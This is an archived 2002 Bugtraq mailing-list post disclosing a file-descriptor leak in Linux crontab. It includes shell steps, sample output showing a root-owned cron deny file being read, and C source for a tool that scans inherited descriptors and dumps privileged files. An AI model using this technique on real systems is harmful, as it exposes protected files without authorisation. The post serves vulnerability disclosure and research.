Bugtraq mailing list archives

Re: trusting user-supplied data (was Re: FreeBSD Security Advisory FreeBSD-SA-02:23.stdio)


From: Paul Starzetz <paul () starzetz de>
Date: Thu, 02 May 2002 19:35:02 +0200

Steven M. Bellovin wrote:

The list includes, but is not limited to:

  command-line array
  environment array
  open files
I don't think there was enough research on open file descriptor problems. For example, I found this small bug while playing yround with crontab on Linux:

gcc cronread.c -o cronread

export VISUAL=/bin/vi
crontab -e

<:sh> escape to shell

./cronread

0000 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/0 dump (y/n) n

0001 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/1 dump (y/n) n

0002 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/2 dump (y/n) n

0003 iz OPEN st_uid 0 st_gid 0 PATH /var/spool/cron/deny dump (y/n) y

--- DUMPING /var/spool/cron/deny ---

guest
gast


---
0005 iz OPEN
0006 iz OPEN


ls -l /var/spool/cron/deny
-rw-------    1 root     root           11 Oct 25  2001 /var/spool/cron/deny


So I'm able to read a privileged system file using this technique :-> Not necessary to mention the consequences of inheriting such a fd open for writing. More effort must be put to investigate this problem in current Linux/Unix suid/setgid binaries.

have fun with the attached source.

/ih

/****************************************************************
*                                                               *
*       insecure FD seeker                                      *
*       by IhaQueR '2002                                        *
*                                                               *
****************************************************************/





#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>



#define TMPLEN 1024



void dumpfd(int fd, char *name)
{
int r;
char c=13;


        r = lseek(fd, 0, SEEK_SET);
        if(r == (off_t)-1) {
                perror("lseek");
                return;
        }
        printf("\n--- DUMPING %s ---\n\n", name);
        do {
                r = read(fd, &c, sizeof(c));
                if(r>0) {
                        printf("%c", c);
                }
        } while(r>0);
        printf("\n\n---");
        fflush(stdout);
}


int main()
{
int i, r, f;
uid_t uid;
gid_t gid;
struct stat st;
char buf[TMPLEN];


        uid = getuid();
        gid = getgid();

        for(i=0; i<NR_OPEN; i++) {
                r = fstat(i, &st);
                if(!r) {
                        printf("\n%.4d iz OPEN", i);
                        if(st.st_uid != uid || st.st_gid != gid) {
                                printf("\tst_uid %d\tst_gid %d", st.st_uid, st.st_gid);
                                snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i);
                                buf[sizeof(buf)-1] = 0;
                                readlink(buf, buf, sizeof(buf)-1);
                                buf[sizeof(buf)-1] = 0;
                                printf("\tPATH %s ", buf);
                                printf("\tdump (y/n) ");
                                r = getchar();
                                if(r == 'y')
                                        dumpfd(i, buf);
                                getchar();
                        }
                }
        }
        printf("\n\n");
        fflush(stdout);

return 0;
}


Current thread: